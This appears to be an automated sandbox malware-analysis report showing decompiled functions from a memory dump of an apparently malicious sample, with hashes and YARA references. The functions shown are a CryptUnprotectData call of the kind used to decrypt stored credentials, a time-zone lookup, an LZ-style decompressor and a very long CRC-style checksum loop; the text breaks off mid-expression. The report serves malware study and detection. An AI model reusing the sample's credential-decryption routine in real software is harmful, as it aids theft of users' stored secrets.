0x00418ff0
0x00419000
0x00419003
0x00419003
0x00418ff0
0x0041900c
0x0041900c
0x00418fc8
0x00418fb4
0x00419019
0x0041901a
0x00419021
0x00419024
0x00419025
0x00419032
0x00419037
0x0041903c
0x0041903f
0x00419042
0x00419044
0x00419044
0x00419046
0x0041904a
0x0041904d
0x0041904f
0x00419065
0x00419070
0x00419075
0x00419099
0x004190a4

APIs

CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,00000000,?), ref: 00418FE7
LocalFree.KERNEL32(?,?,?,?), ref: 00419003

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$CryptDataHeapLocalUnprotect
String ID:
API String ID: 2231100991-0
Opcode ID: 760711667ea0cb7838e9be8f0632bda55771717acb0b6a69b37d4b0baa42b693
Instruction ID: 30dca6e76b2ec9cc8fee353e8bb5a1112e945878949f59db5956494b675876cb
Opcode Fuzzy Hash: 760711667ea0cb7838e9be8f0632bda55771717acb0b6a69b37d4b0baa42b693
Instruction Fuzzy Hash: 5E517F71E00219AADF10AFF2CC95AEEBB75EF48318F14482EF614F7191DA394D818B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041CBF9, Relevance: 1.6, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

B}i4, xrefs: 0041CE53

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: B}i4
API String ID: 0-3657142514
Opcode ID: 4d52516231d11939829c956578ff618de57391f6c5c2438f1fafe8d98713cb60
Instruction ID: 29a7e1e860cbbec24a96d668bf8c9833882568e66b7b4686890e928b671d27b8
Opcode Fuzzy Hash: 4d52516231d11939829c956578ff618de57391f6c5c2438f1fafe8d98713cb60
Instruction Fuzzy Hash: 6191ED335856929EC7274E38EC925E9BFA0BB47760764169BC0C08F663C32694C6DBC9

Uniqueness

Uniqueness Score: -1.00%

Function 0040E35F, Relevance: 1.5, APIs: 1, Instructions: 20
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E35F() {
				long _t7;
				signed int _t8;
				intOrPtr _t9;
				void* _t11;
				void* _t13;

				_t11 = _t13 - 0x78;
				_t7 = GetTimeZoneInformation(_t11 - 0x34);
				if(_t7 != 1) {
					if(_t7 != 2) {
						_t8 = 0;
					} else {
						_t9 =  *((intOrPtr*)(_t11 + 0x74));
						goto L4;
					}
				} else {
					_t9 =  *((intOrPtr*)(_t11 + 0x20));
					L4:
					_t8 = (_t9 +  *(_t11 - 0x34)) * 0xffffffc4;
				}
				return _t8;
			}

0x0040e360
0x0040e36e
0x0040e377
0x0040e381
0x0040e38e
0x0040e383
0x0040e383
0x00000000
0x0040e383
0x0040e379
0x0040e379
0x0040e386
0x0040e389
0x0040e389
0x0040e394

APIs

GetTimeZoneInformation.KERNEL32(?), ref: 0040E36E

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: 9b604b990c5ef3e532a70723280e838a9ec8208944ebc7e85a7f3511fb7d1732
Instruction ID: 0a9f8632372c0c251a8493b12a627c171bdb6c7b425c3b8e95872b1f633a6034
Opcode Fuzzy Hash: 9b604b990c5ef3e532a70723280e838a9ec8208944ebc7e85a7f3511fb7d1732
Instruction Fuzzy Hash: B1E0E631544108CBDB34DBA5DF4699D7BE5A715314F200C26E941F71D0D338D9568A46

Uniqueness

Uniqueness Score: -1.00%

Function 004110A3, Relevance: .2, Instructions: 190
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004110A3(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				unsigned int _t67;
				signed int _t68;
				intOrPtr _t71;
				void* _t79;
				signed int _t81;
				intOrPtr _t87;
				intOrPtr _t88;
				signed int _t98;
				signed int _t99;
				signed int _t100;
				signed int _t101;
				signed int _t102;
				unsigned int _t103;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				signed int _t111;
				signed int _t115;
				signed int _t116;
				intOrPtr* _t119;
				unsigned int _t125;
				signed int _t126;
				signed int _t128;

				_t71 = _a4;
				_t98 = 0;
				_t99 = 0;
				_v16 = 0;
				_v20 = 1;
				L1:
				while(1) {
					if(_t99 == 0) {
						_t103 =  *(_t98 + _t71);
						_t98 = _t98 + 4;
						_t99 = 0x1f;
						_t104 = _t103 >> 0x1f;
					} else {
						_t99 = _t99 - 1;
						_t104 = _t67 >> _t99 & 0x00000001;
					}
					if(_t104 != 0) {
						_v16 = _v16 + 1;
						 *((char*)(_v16 + _a12)) =  *(_t98 + _t71);
						_t98 = _t98 + 1;
						L6:
						_t71 = _a4;
						continue;
					}
					_v12 = 1;
					do {
						if(_t99 == 0) {
							_t67 =  *(_t98 + _t71);
							_t98 = _t98 + 4;
							_t100 = 0x1f;
							_t106 = _t67 >> 0x1f;
						} else {
							_t100 = _t99 - 1;
							_t106 = _t67 >> _t100 & 0x00000001;
						}
						_v12 = _t106 + _v12 * 2;
						if(_t100 == 0) {
							_t67 =  *(_t98 + _t71);
							_t98 = _t98 + 4;
							_t99 = 0x1f;
							_t108 = _t67 >> 0x1f;
						} else {
							_t99 = _t100 - 1;
							_t108 = _t67 >> _t99 & 0x00000001;
						}
					} while (_t108 == 0);
					_t111 = _v12;
					if(_t111 == 2) {
						_t81 = _v20;
						L19:
						_v12 = _t81;
						if(_t99 == 0) {
							_t67 =  *(_t98 + _t71);
							_t98 = _t98 + 4;
							_t101 = 0x1f;
							_v8 = _t67 >> 0x1f;
						} else {
							_t101 = _t99 - 1;
							_v8 = _t67 >> _t101 & 0x00000001;
						}
						if(_t101 == 0) {
							_t67 =  *(_t98 + _t71);
							_t98 = _t98 + 4;
							_t99 = 0x1f;
							_t115 = _t67 >> 0x1f;
						} else {
							_t99 = _t101 - 1;
							_t115 = _t67 >> _t99 & 0x00000001;
						}
						_t116 = _t115 + _v8 * 2;
						_v8 = _t116;
						if(_t116 == 0) {
							_v8 = 1;
							do {
								if(_t99 == 0) {
									_t125 =  *(_t98 + _t71);
									_t98 = _t98 + 4;
									_t102 = 0x1f;
									_t126 = _t125 >> 0x1f;
								} else {
									_t102 = _t99 - 1;
									_t126 = _t67 >> _t102 & 0x00000001;
								}
								_v8 = _t126 + _v8 * 2;
								if(_t102 == 0) {
									_t67 =  *(_t98 + _t71);
									_t98 = _t98 + 4;
									_t99 = 0x1f;
									_t128 = _t67 >> 0x1f;
								} else {
									_t99 = _t102 - 1;
									_t128 = _t67 >> _t99 & 0x00000001;
								}
							} while (_t128 == 0);
							_v8 = _v8 + 2;
						}
						asm("sbb ecx, ecx");
						_v8 = _v8 +  ~0xd00;
						_t87 = _v16;
						_t119 = _t87 - _v12 + _a12;
						_v16 = _t119;
						 *((char*)(_t87 + _a12)) =  *_t119;
						_t88 = _t87 + 1;
						_v16 = _v16 + 1;
						do {
							 *((char*)(_t88 + _a12)) =  *_v16;
							_t88 = _t88 + 1;
							_v16 = _v16 + 1;
							_t57 =  &_v8;
							 *_t57 = _v8 - 1;
						} while ( *_t57 != 0);
						_v16 = _t88;
						goto L6;
					}
					_t79 = ( *(_t98 + _t71) & 0x000000ff) + (_t111 + 0xfffffffd << 8);
					_t98 = _t98 + 1;
					if(_t79 != 0xffffffff) {
						_t81 = _t79 + 1;
						_v20 = _t81;
						goto L19;
					}
					_t68 = _a16;
					 *_t68 = _v16;
					return _t68 & 0xffffff00 | _t98 == _a8;
				}
			}

0x004110aa
0x004110ae
0x004110b3
0x004110b5
0x004110b8
0x00000000
0x004110bf
0x004110c1
0x004110d4
0x004110d6
0x004110d9
0x004110da
0x004110c3
0x004110c3
0x004110ca
0x004110ca
0x004110df
0x004110ea
0x004110ed
0x004110f0
0x004110f1
0x004110f1
0x00000000
0x004110f1
0x004110f6
0x004110fd
0x004110ff
0x0041110d
0x00411114
0x00411117
0x00411118
0x00411101
0x00411101
0x00411108
0x00411108
0x00411121
0x00411126
0x00411134
0x0041113b
0x0041113e
0x0041113f
0x00411128
0x00411128
0x0041112f
0x0041112f
0x00411142
0x00411146
0x0041114c
0x0041114e
0x0041116d
0x0041116d
0x00411172
0x00411183
0x00411188
0x00411190
0x00411191
0x00411174
0x00411174
0x0041117e
0x0041117e
0x00411196
0x004111a4
0x004111ab
0x004111ae
0x004111af
0x00411198
0x00411198
0x0041119f
0x0041119f
0x004111b5
0x004111b8
0x004111bd
0x004111bf
0x004111c6
0x004111c8
0x004111db
0x004111dd
0x004111e0
0x004111e1
0x004111ca
0x004111ca
0x004111d1
0x004111d1
0x004111ea
0x004111ef
0x004111fd
0x00411204
0x00411207
0x00411208
0x004111f1
0x004111f1
0x004111f8
0x004111f8
0x0041120b
0x0041120f
0x0041120f
0x0041121b
0x0041121f
0x00411222
0x0041122a
0x0041122f
0x00411235
0x00411238
0x00411239
0x0041123c
0x00411244
0x00411247
0x00411248
0x0041124b
0x0041124b
0x0041124b
0x00411250
0x00000000
0x00411250
0x0041115d
0x0041115f
0x00411163
0x00411169
0x0041116a
0x00000000
0x0041116a
0x00411258
0x00411263
0x0041126a
0x0041126a

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4b364eb5e01cb4963202215bd9b16e8fc03a0e04bf887195a9ff215a63561e
Instruction ID: 2a4458d70ae4462c8b7ab5c5034107b8f730d6f48cb6459ff17c437c356bdb9e
Opcode Fuzzy Hash: 4f4b364eb5e01cb4963202215bd9b16e8fc03a0e04bf887195a9ff215a63561e
Instruction Fuzzy Hash: 9E51D532E00525ABDB14CF5CC4502EDF7B1AF89324F1A42AACE16BF795C674AD81C784

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFBE, Relevance: .1, Instructions: 74
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040BFBE(signed char* __ecx, unsigned int __edx) {
				signed int _t26;
				signed int _t27;
				signed char* _t72;
				unsigned int _t75;
				unsigned int _t82;

				_t72 = __ecx;
				_t75 = __edx;
				if(__ecx != 0) {
					_t27 =  !_t26;
					if(__edx >= 8) {
						_t82 = __edx >> 3;
						do {
							_t27 = (((((((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[4] & 0x000000ff ^ (((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[5] & 0x000000ff ^ ((((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[4] & 0x000000ff ^ (((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[6] & 0x000000ff ^ (((((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[4] & 0x000000ff ^ (((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[5] & 0x000000ff ^ ((((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[4] & 0x000000ff ^ (((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[7] & 0x000000ff ^ ((((((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[4] & 0x000000ff ^ (((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[3] & 0x000000ff ^ ((_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[2] & 0x000000ff ^ (_t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x401a10 + ((_t72[1] & 0x000000ff ^ _t27 >> 0x00000008 ^  *(0x401a10 + (( *_t72 & 0x000000ff ^ _t27) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 